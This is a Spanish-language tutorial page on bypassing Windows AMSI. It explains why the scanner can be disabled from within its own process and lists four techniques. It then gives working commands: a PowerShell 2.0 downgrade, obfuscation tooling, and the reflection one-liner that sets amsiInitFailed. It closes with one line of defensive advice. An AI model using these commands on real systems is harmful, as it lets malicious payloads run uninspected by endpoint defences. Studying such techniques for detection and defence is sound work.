Evasión de defensas

Bypass de AMSI

Cómo un atacante apaga el escáner AMSI de Windows desde su propio proceso para correr cargas en memoria sin que nadie las inspeccione.

Qué es

Un bypass de AMSI desactiva el escáner que Windows pone frente a los scripts. El atacante corre su carga en memoria sin que la inspeccionen. Herramientas conocidas que antes se bloqueaban vuelven a pasar.

Cómo funciona

El escáner de AMSI se carga dentro del mismo proceso que vigila. Comparte memoria y permisos con el código que inspecciona. Por eso el proceso puede modificar su propio estado de AMSI. Hay cuatro palancas:

  • Parchear en memoria la función AmsiScanBuffer para que devuelva un resultado limpio sin escanear.
  • Cambiar por reflexión la bandera interna amsiInitFailed a verdadero: la sesión de PowerShell salta todo escaneo.
  • Ofuscar la carga para que la firma no la reconozca.
  • Usar PowerShell 2.0, un motor viejo que nunca llevó AMSI.

Ninguna palanca pide privilegios altos: basta una sesión de usuario.

Diagrama

Comandos

Encontrar las cadenas que AMSI detecta, antes de ofuscar:

AmsiTrigger_x64.exe -i <FILE>

Saltar AMSI con el motor antiguo, que nunca lo llevó:

powershell.exe -version 2 -exec bypass -Command "<COMANDO>"

Ofuscar un script marcado para que la firma no lo reconozca:

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

Cambiar la bandera de control por reflexión, en la sesión actual:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Cómo defenderse

Activa el registro de bloques de script de PowerShell: captura lo que iba a ejecutarse aunque AMSI caiga.

Siguiente

Puedes seguir leyendo aquí:

Movimiento lateralWMI para ejecución y movimiento lateral

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.